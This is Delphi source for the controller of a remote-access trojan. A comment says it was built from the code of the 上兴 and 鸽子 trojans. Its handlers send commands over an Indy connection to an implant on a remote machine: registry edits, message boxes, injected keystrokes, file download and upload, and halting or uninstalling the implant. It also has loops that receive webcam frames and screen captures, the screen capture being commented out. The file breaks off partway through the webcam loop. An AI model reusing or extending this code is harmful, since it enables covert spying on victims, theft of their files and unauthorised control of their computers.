unitformcontrol.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

procedure TFormControl.ListViewRegistroContextPopup(Sender: TObject;
  MousePos: TPoint; var Handled: Boolean);
begin

  if ListViewRegistro.Selected <> nil then
  begin

    PopupRegistro.Items[1].Enabled := True;
    PopupRegistro.Items[2].Enabled := True;
    PopupRegistro.Items[3].Enabled := True;
  end
  else
  begin

    PopupRegistro.Items[1].Enabled := False;
    PopupRegistro.Items[2].Enabled := False;
    PopupRegistro.Items[3].Enabled := False;
  end;
end;

procedure TFormControl.Clave1Click(Sender: TObject);
var
  NewClave: String;
begin
  if Servidor.Connection.Connected then
  begin
    NewClave := InputBox('输入键值名称', '新建键值', 'NuevaClave');
    if NewClave <> '' then
try
      Servidor.Connection.Writeln('NEWCLAVE|' + EditPathRegistro.Text + '|' + NewClave);
      except
      end;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.BtnEnviarMensajeClick(Sender: TObject);
var
  Tipo: String;
begin
  if Servidor.Connection.Connected then
  begin
    if RdGrpBotonesMensaje.ItemIndex <> -1 then
    begin
      if  RdBtnError.Checked then
        Tipo := 'WARN'
      else if RdBtnPregunta.Checked then
        Tipo := 'QUES'
      else if RdBtnExclamacion.Checked then
        Tipo := 'EXCL'
      else if RdBtnInfo.Checked then
        Tipo := 'INFO'
      else if RdBtnVacio.Checked then
        Tipo := 'VACI';
try
      Servidor.Connection.Writeln('MSJN' + MemoMensaje.Text + '|' + EditTituloMensaje.Text
        + '|' + Tipo + '|' + PChar(inttostr(RdGrpBotonesMensaje.ItemIndex)) + '|');
      except
      end;
    end
    else
      MessageDlg('至少选择一种方式', mtWarning, [mbok], 0)
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;







procedure TFormControl.Enviarteclas1Click(Sender: TObject);

var
  NewSendKeys : TFormSendKeys;
begin
  if Servidor.Connection.Connected then
  begin
    if ListViewVentanas.Selected = nil then
    begin
      MessageDlg('先选择一个窗口再操作.', mtWarning, [mbok], 0)
    end
    else
    begin
      NewSendKeys := TFormSendKeys.Create(self, Servidor, ListViewVentanas.Selected.SubItems[0], ListViewVentanas.Selected.Caption);
      NewSendKeys.Show;
    end;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;








procedure TFormControl.BtnActualizarServidorInfoClick(Sender: TObject);
begin
  if Servidor.connection.Connected then
try
    Servidor.connection.writeln('SERVIDOR|INFO|');
      except
      end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.BtnEnviarComandoServidorClick(Sender: TObject);
begin

  if not Servidor.Connection.Connected then
  begin
    MessageDlg('没有选择命令!', mtWarning, [mbok], 0);
    exit;
  end;

  if ComboBoxGestionDeServidor.Text = '断开连接' then
  begin
    if MessageBox(Handle, '断开连接则关闭远程主机运行的服务端，无法控制远程机器，要等待下次运行才能重新控制', '确认', Mb_YesNo + MB_IconAsterisk) = idYes then
try
      Servidor.Connection.Writeln('SERVIDOR|HALT|');
      except
      end;
  end;
  if ComboBoxGestionDeServidor.Text = '卸载服务端' then
  begin
    if MessageBox(Handle, '卸载服务端则永久失去对远程机器的控制权', '确认', Mb_YesNo + MB_IconAsterisk) = idYes then
try
      Servidor.Connection.Writeln('SERVIDOR|UNINSTALL|');
      except
      end;
  end;
end;

//文件管理
procedure TFormControl.Descargarfichero1Click(Sender: TObject);
var
  i:integer;
  Descarga: TDescargaHandler;
  FilePath: AnsiString;
begin
  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    exit;
  end;

  FilePath := Trim(EditPathArchivos.Text) + Trim(ListViewArchivos.Selected.Caption);
  SaveDialog1.InitialDir := ExtractFilePath(ParamStr(0));
  SaveDialog1.FileName := ListViewArchivos.Selected.Caption;
  if SaveDialog1.Execute then   downpath:=SaveDialog1.FileName;
  for i:=0 to ListViewDescargas.Items.Count -1 do     
  begin
    Descarga := TDescargaHandler(ListViewDescargas.Items[i].Data);
    if Descarga.Origen = FilePath then
    begin
      MessageDlg('任务进行中', mtWarning, [mbok], 0);
      Exit;
    end;
  end;
try
  Servidor.Connection.Writeln('GETFILE|' + FilePath);
        except
      end;
  end;


procedure TFormControl.Subirfichero1Click(Sender: TObject);
var
  i:integer;
  Descarga: TDescargaHandler;
  FilePath: AnsiString;
begin
  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    exit;
  end;

  if OpenDialogUpload.Execute then
  begin

    FilePath := OpenDialogUpload.FileName;
    FilePath :=EditPathArchivos.Text + ExtractFileName(OpenDialogUpload.FileName);
    for i:=0 to ListViewDescargas.Items.Count -1 do
    begin
      Descarga := TDescargaHandler(ListViewDescargas.Items[i].Data);
      if Descarga.Origen = FilePath then
      begin
        MessageDlg('任务进行中', mtWarning, [mbok], 0);
        Exit;
      end;
    end;
try
    Servidor.Connection.Writeln('SENDFILE|' + OpenDialogUpload.FileName + '|' + EditPathArchivos.Text + ExtractFileName(OpenDialogUpload.FileName) + '|' + IntToStr(MyGetFileSize(OpenDialogUpload.FileName)));
      except
      end;
  end;
end;
procedure TFormControl.ShowPicWorkBegin(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCountMax: integer);
begin
  try
    showpm.Gauge1.Progress := 0;
      except
      end;
      try
    showpm.Gauge1.MaxValue := AWorkCountMax;
  except
  end;
end;

procedure TFormControl.ShowPicWorkEnd(Sender: TObject;
  AWorkMode: TWorkMode);
begin

  try
    showpm.Gauge1.Progress := showpm.Gauge1.MaxValue;
  except
  end;


end;

procedure TFormControl.ShowPicWork(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCount: integer);
begin
  try
    showpm.Gauge1.Progress := AWorkCount;
  except
  end;
end;
procedure MyDeCompress(AStream: TStream);
var
  DeCompressionStream: TZDecompressionStream;
  TmpStream :TMemoryStream ;
Begin
try
  try
    TmpStream := TMemoryStream.Create ;
    AStream.Position := 0;
    TmpStream.LoadFromStream(AStream );
    AStream.Size := 0;
    DecompressionStream := TZDecompressionStream.Create(TmpStream);
    AStream.CopyFrom(DecompressionStream, 0);
    AStream.Position := 0;
  finally
    TmpStream.Free ;
    DeCompressionStream.Free ;
  end;
except on E: Exception do
  ShowMessage(e.Message )
end;
end;
Procedure ResumeStream(MyFirstStream,MySecondStream:Tmemorystream);
Var
  I:integer;
  P1,P2:^char;
Begin
  MyFirstStream.Position:=0;
  MySecondStream.Position:=0;//必须
  P1:=MyFirstStream.Memory;
  P2:=MySecondStream.Memory;
  If MySecondStream.Size=MyFirstStream.Size Then
    For I:=0 To MySecondStream.Size-1 Do Begin
      Try
        If P2^='0' Then P2^:=P1^;
        inc(P1);
        inc(P2);
      Except
        Break;
      End;
    End;
  MyFirstStream.Clear;
  MyFirstStream.CopyFrom(MySecondStream,0);
  MySecondStream.Position:=0;//必须,否则永远只显示第一幅图像
End;

procedure TFormControl.OnReadFile(AThread: TIdPeerThread);
var
  Buffer: String;
  Descarga : TDescargaHandler;
  FilePath: AnsiString;
  Size: Int64;
  i:integer;
  bitmap:TBitmap;
  TheSize:integer;
  Firscr:boolean;
  MyStream,TmpStream:Tmemorystream;
begin
  Buffer := Trim(Athread.Connection.ReadLn);
  if Copy(PChar(Buffer), 1, 7) = 'GETFILE' then
  begin
    Delete(Buffer, 1, Pos('|', Buffer));
    FilePath := Copy(Buffer, 1, Pos('|', Buffer) - 1);
    Delete(Buffer, 1, Pos('|', Buffer));
    Size := StrToInt(Trim(Buffer));
    Descarga := TDescargaHandler.Create(Athread, FilePath, Size, downpath, ListViewDescargas, true);
    Descarga.callback := Self.TransferFinishedNotification;
    createdir(ExtractFilePath(downpath));
    Descarga.transferFile;
  end
  else if Copy(PChar(Buffer), 1, 14) = 'RESUMETRANSFER' then
  begin
    Delete(Buffer, 1, Pos('|', Buffer));
    FilePath := Copy(Buffer, 1, Pos('|', Buffer) - 1);
    Delete(Buffer, 1, Pos('|', Buffer));
    Size := StrToInt(Buffer);
    for i:=0 to ListViewDescargas.Items.Count -1 do
    begin
      Descarga := TDescargaHandler(ListViewDescargas.Items[i].Data);
      if Descarga.Origen = FilePath then
      begin
        Descarga.AThread := Athread; //El socket anterior ya esta desconectado
        Descarga.SizeFile := Size;
        createdir(ExtractFilePath(downpath));
        Descarga.ResumeTransfer;
        Exit;
      end;
    end;
  end
  else if Copy(PChar(Buffer), 1, 8) = 'SENDFILE' then
  begin
    Delete(Buffer, 1, Pos('|', Buffer));
    FilePath := Trim(Buffer);
    Size := MyGetFileSize(FilePath);
    Descarga := TDescargaHandler.Create(Athread, FilePath, Size, '', ListViewDescargas, false);
    Descarga.UploadFile;
  end
 { else if Copy(PChar(Buffer), 1, 9) = 'CAPSCREEN' then
  begin
     Try
     // If DSImage=Nil Then Exit;
      If TVTOThread<>Nil Then TVTOThread.Terminate;
      TVTOThread:=AThread;
      TmpStream:=Tmemorystream.Create;
      MyStream:=Tmemorystream.Create;
      bitmap:=TBitmap.Create;
      If single Then begin
       AThread.Connection.OnWork := FormControl.ShowPicWork;
      AThread.Connection.OnWorkBegin := FormControl.ShowPicWorkBegin;
      AThread.Connection.OnWorkEnd := FormControl.ShowPicWorkEnd;
      END;
      Repeat
        Try
          INC(NUM);
          TheSize:=AThread.Connection.ReadInteger;
          If single Then showpm.caption:=Format('获取第 %d 帧,图像大小 %dByte',[Num,TheSize]);
          If TheSize>0 Then Begin
            MyStream.Clear;
            AThread.Connection.ReadStream(MyStream,TheSize);
            MyStream.Position:=0;
          End;
        Except
          Break;
        End;
        Try
          MyDeCompress(MyStream);
          ResumeStream(TmpStream,MyStream);
          bitmap.LoadFromStream(MyStream);
          If single Then
           begin
           showpm.Image1.Height:=bitmap.Height;
           showpm.Image1.Width:=bitmap.Width;
           ShowPm.Image1.Picture.Assign(bitmap);
           end;
          Sleep(10);
          If stop Then
              AThread.Connection.Write('000'+EOL)
            Else
              AThread.Connection.Writeln('111');
        Except
          TmpStream.Clear;
        End;
      Until AThread.Terminated;
     // If DSImage<>Nil Then DSImage.Free;
      AThread.Connection.Disconnect;
      TVTOThread:=Nil;
      TmpStream.Free;
      MyStream.Free;
      bitmap.Free;
    Except
    End;
  end}
 else if Copy(PChar(Buffer), 1, 13) = 'CAPTURAWEBCAM' then
 begin
     Try
      TmpStream:=Tmemorystream.Create;
      MyStream:=Tmemorystream.Create;
      bitmap:=TBitmap.Create;
      Repeat
        Try
          INC(NUM);
          TheSize:=AThread.Connection.ReadInteger;
          If TheSize>0 Then Begin
            MyStream.Clear;
            AThread.Connection.ReadStream(MyStream,TheSize);
            MyStream.Position:=0;
          End;
        Except
          Break;
        End;
        Try
          MyDeCompress(MyStream);
          ResumeStream(TmpStream,MyStream);
          bitmap.LoadFromStream(MyStream);
          Image1.Picture.bitmap:=bitmap;
          Sleep(10);
          If Vstop Then
              AThread.Connection.Write('000'+EOL)
            Else
              AThread.Connection.Writeln('111');
        Except
          TmpStream.Clear;
        End;
      Until AThread.Terminated;